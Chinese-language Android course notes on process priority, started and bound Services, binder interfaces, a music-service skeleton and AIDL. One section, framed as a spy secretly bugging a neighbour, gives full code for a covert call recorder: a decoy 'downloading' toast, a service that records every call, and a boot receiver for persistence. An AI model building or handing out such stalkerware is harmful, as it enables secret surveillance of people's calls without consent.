进程概念介绍
- 进程和程序:在内存里运行着的是进程。硬盘上的可行行文件是程序。
- 进程和线程:程序的主体就是进程。一个进程里面可以有很多个子线程。
- Android 启动一个应用的时候会自动创建一个进程和线程,也就是主线程,我们的四大组件都是运行在主线程的。
- 进程的生命周期:当内存不足的时候,需要杀掉一些进程,优先级越低越容易被杀掉
- Foreground process 前台进程。用户正在操作的进程。
- 执行了 onResume 的 Activity
- 正在执行生命周期方法的 Activity、Service、BroadcastReceiver
- 有绑定服务到可操作界面的进程
- Visible process 可见进程。已经不可操作,但是仍然可见的进程
- 执行了 onPause 的 Activity
- 有绑定服务到可见界面的进程
- Service process 服务进程。开启服务,同时没有可操作或可见界面的进程。
- Background process 后台进程。只有不可见界面的进程。
- 进程里只有执行了 onStop 的 Activity
- Empty process 空进程。不包含四大组件的进程。
- Foreground process 前台进程。用户正在操作的进程。
startService 方式开启服务的特点
Android 里的服务是一个在后台运行的组件,是没有界面的 Actvitiy
- 退出开启服务的界面后,服务仍然在运行
- 要关闭服务只能是调用了 stopService 方法 ,或者用户从系统设置里关闭
startService 的生命周期
启动到关闭;重复启动以及重复关闭;退出启动界面
- onCreate 只会在第一次启动时执行
- onStartCommand 在每一次调用 startService 启动服务的时候都会执行
- onDestroy 只会在服务销毁的只会执行一次
线程和服务的区别
当退出主界面后,在系统设置里可以看到服务,但是看不到子线程
- 当进程里没有四大组件运行,只有一个子线程的时候,是一个
空进程
,进程随时可能被回收 - 当进程只有一个服务的时候,是一个服务进程,不容易被杀死。
- 服务是运行在主线程的,如果要做耗时操作,需要开启子线程。
电话窃听器案例
录音需要权限 RECORD_AUDIO, 异常里看不到权限
- 作为一名特工,党又一次给你安排任务。给隔壁老王安装一个监听软件,将他所有的通话都录音下来。
- 清单文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.itheima.phonelistenerservice"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.itheima.phonelistenerservice.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 3.在清单文件注册 -->
<service android:name="com.itheima.phonelistenerservice.PhoneListenerService">
</service>
<receiver android:name="com.itheima.phonelistenerservice.BootReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
</manifest>
- 主界面代码
// 开启后台今天服务
public void click(View view) {
// 特工的职业素养
Toast.makeText(MainActivity.this, "正在下载,请稍后~~~~", 0).show();
// 开启监听服务
Intent intent = new Intent(MainActivity.this, PhoneListenerService.class);
startService(intent);
}
- 服务里的代码
// 1. 继承 Service
public class PhoneListenerService extends Service {
// 2. 处理生命周期方法
@Override
public void onCreate() {
super.onCreate();
// 注册电话监听
TelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
manager.listen(new PhoneStateListener(){
private MediaRecorder recorder;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
System.out
.println("onCallStateChanged,state="+state+";incomingNumber="+incomingNumber);
// 判断电话状态
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:
// 空闲或者挂断电话。释放资源
System.out.println("挂断电话,释放录音资源");
// 释放硬件资源
if (recorder!=null) {
recorder.stop();
recorder.reset(); // You can reuse the object by going back to setAudioSource() step
recorder.release(); // Now the object cannot be reused
}
break;
case TelephonyManager.CALL_STATE_RINGING:
// 来电响铃。准备硬件资源
System.out.println("电话响铃,准备录音资源");
try {
recorder = new MediaRecorder();
// 设置录制的声音来源。注意:模拟器上只能使用 MIC
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 设置音频格式
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
// 设置音频的编码
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
// 设置保存路径
recorder.setOutputFile("/mnt/sdcard/luyin.3gp");
// 准备硬件资源
recorder.prepare();
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
// 接通的电话。开始录音
System.out.println("电话接通,开始录音");
// 开始录音
recorder.start(); // Recording is now started
break;
}
}
}, PhoneStateListener.LISTEN_CALL_STATE);
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
- 开机启动的代码
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("BootReceiver.onReceive,");
// 开机时启动监听服务
Intent service = new Intent(context, PhoneListenerService.class);
context.startService(service);
}
}
使用服务注册特殊的广播接收者
- 后台服务的代码
public class ScreenService extends Service {
private ScreenReceiver receiver;
@Override
public void onCreate() {
super.onCreate();
IntentFilter filter = new IntentFilter();
filter.addAction("android.intent.action.SCREEN_OFF");
filter.addAction("android.intent.action.SCREEN_ON");
receiver = new ScreenReceiver();
// 动态注册广播接收者
registerReceiver(receiver, filter );
}
@Override
public void onDestroy() {
super.onDestroy();
// 服务关闭时,注销动态的广播接收者
unregisterReceiver(receiver);
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
- 主界面的代码
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 开启后台服务,监听屏幕状态
Intent intent = new Intent(MainActivity.this, ScreenService.class);
startService(intent);
}
bindService 开启服务的特点
- onCreate 只在第一次启动时执行
- onBind 一个 Activity 只能绑定一次
- onDestroy 当所有已经绑定的界面都解绑之后,才会执行
- 同生共死,当绑定的界面退出之后,会自动解绑,并关闭服务
- 系统设置里不可见,对用户来说是隐形的
为什么要引入 bindService
Service对象是系统创建,我们没有对象来调用服务里的方法.
可以被多个Activity绑定,重用代码
- Activity的代码更干净
通过 bindService 方式调用服务里面方法的过程
- 创建一个 BanZhengService,并提供 banzheng 方法
- 在 BanZhengService 里创建 MyBinder 继承 Binder,并提供一个 callBanZheng 方法
- 在 BanZhengService 的 onBind 方法里返回一个 MyBinder 的对象
- 在 Activity 里绑定服务,并创建 MyConn 实现 ServiceConnection 接口
- 在 MyConn 的 onServiceConnected 获取到传递过来的 MyBinder 对象
- 使用 MyBInder 对象访问服务里的方法
- 服务里的代码
// 1. 继承 Service
public class BanZhengService extends Service {
// 2. 处理生命周期方法
@Override
public IBinder onBind(Intent intent) {
System.out.println("BanZhengService.onBind,");
return new MyBinder();
}
// 派出所:提供办证业务,但是不允许外部访问
private void banzheng(int money) {
if (money > 200) {
System.out.println("有钱能使鬼推磨,这证我给你办了");
} else {
System.out.println("巧妇难为无米之炊,这事难哪");
}
}
// 开放一个代理人,代理办证
public class MyBinder extends Binder{
// 提供代理方法,处理办证功能
public void callBanZheng(int money) {
banzheng(money);
}
}
}
- Activity里的代码
public class MainActivity extends Activity {
private MyConn conn;
private MyBinder binder;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 绑定服务
Intent service = new Intent(MainActivity.this, BanZhengService.class);
conn = new MyConn();
bindService(service , conn, BIND_AUTO_CREATE);
}
@Override
protected void onDestroy() {
super.onDestroy();
// 解绑服务
unbindService(conn);
}
// 调用服务里的办证方法
public void click(View view) {
// 请求代理人帮忙办证
binder.callBanZheng(199);
}
// 绑定服务时需要传递的对象
private class MyConn implements ServiceConnection{
@Override
// 在服务绑定成功时被调用
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println("MainActivity.onServiceConnected,service="+service);
// 连接成功,获取代理人对象
binder = (MyBinder) service;
}
@Override
// 在服务解绑的时候被调用
public void onServiceDisconnected(ComponentName name) {
}
}
}
通过接口方式调用服务里面的方法
- 创建 IService 接口,定义 callBanZheng 方法
- 创建 MyBinder 类继承 Binder 并实现 IService 接口,并实现 callBanZheng 方法。
- 在 onBind 方法 返回 MyBinder 对象
- 在 Activity 里从 onServiceConnected 方法将 IBinder 对象转换为 IService 类型
- 调用 IService 实例的方法
- 定义接口
public interface IService {
void callBanZheng(int money);
}
- 创建 MyBinder
// 开放一个代理人,代理办证
public class MyBinder extends Binder implements IService{
// 提供代理方法,处理办证功能
public void callBanZheng(int money) {
banzheng(money);
}
public void callDaMaJiang() {
daMaJiang();
}
public void callDouDiZhu() {
douDiZhu();
}
}
- 在 Activity 里获取 IService 实例
// 绑定服务时需要传递的对象
private class MyConn implements ServiceConnection{
@Override
// 在服务绑定成功时被调用
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println("MainActivity.onServiceConnected,service="+service);
// 连接成功,获取代理人对象
iService = (IService) service;
}
@Override
// 在服务解绑的时候被调用
public void onServiceDisconnected(ComponentName name) {
}
}
百度用音乐盒框架
先使用startService还是bindServie
- 主界面提供按钮:播放、暂停、恢复播放 – 需要 bindService
- 当退出主界面后:继续播放音乐 – 需要 startService
- 一般是先 startService,再 bindService,当关闭服务的时候,先 unbindService,再 stopService
- 服务的代码
package com.itheima.music;
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
// 1. 继承 Service
public class MusicService extends Service {
// 2. 处理生命周期方法
@Override
public void onCreate() {
super.onCreate();
System.out.println("MusicService.onCreate,");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
System.out.println("MusicService.onStartCommand,");
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
super.onDestroy();
System.out.println("MusicService.onDestroy");
}
@Override
public IBinder onBind(Intent intent) {
System.out.println("MusicService.onBind,");
return new MyBinder();
}
@Override
public boolean onUnbind(Intent intent) {
System.out.println("MusicService.onUnbind");
return super.onUnbind(intent);
}
// 播放音乐
private void play() {
System.out.println("MusicService.开始播放音乐");
}
// 暂停播放
private void pause() {
System.out.println("MusicService.停止播放");
}
// 恢复播放
private void replay() {
System.out.println("MusicService.恢复播放");
}
// 创建中间人
private class MyBinder extends Binder implements IService{
@Override
public void callPlay() {
play();
}
@Override
public void callPause() {
pause();
}
@Override
public void callReplay() {
replay();
}
}
}
- 接口的代码
package com.itheima.music;
public interface IService {
// 播放
void callPlay();
// 暂停
void callPause();
// 恢复播放
void callReplay();
}
- MainActivity 的代码
public class MainActivity extends Activity {
private MyConnection connection;
private IService iService;
private final class MyConnection implements
ServiceConnection {
@Override
// 解绑成功
public void onServiceDisconnected(ComponentName name) {
}
@Override
// 绑定成功
public void onServiceConnected(ComponentName name, IBinder service) {
iService = (IService) service;
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 开启音乐服务
Intent intent = new Intent(MainActivity.this, MusicService.class);
startService(intent);
connection = new MyConnection();
bindService(intent, connection, BIND_AUTO_CREATE);
}
@Override
protected void onDestroy() {
super.onDestroy();
// 解绑服务
unbindService(connection);
}
// 播放音乐
public void click1(View view) {
iService.callPlay();
}
// 暂停播放
public void click2(View view) {
iService.callPause();
}
// 恢复播放
public void click3(View view) {
iService.callReplay();
}
}
AIDL 介绍
远程服务、本地服务;进程间通信:不在一个包无法调用对方方法
远程服务的处理
- 创建一个 IService 接口,并将后缀名修改为 aidl。并删掉文件里的 public。
- 创建 MyBinder 继承自动生成的 Stub 抽象类,并实现里面的方法。
- 在 onBind 方法里返回一个 MyBinder 对象
本地项目的处理
创建和远程服务相同 aidl 文件,并放到远程服务相同的包名下
绑定服务,并在 MyConn 的 onServiceConnected 方法里将 IBinder 对象转换为 IService 类型
iService = IService.Stub.asInterface(service);
- 调用 IService 对象的方法
AIDL 的应用场景 欢乐斗地主 使用 支付宝 充值
- 需求:支付宝提供服务付款服务。欢乐斗地主调用支付宝充值。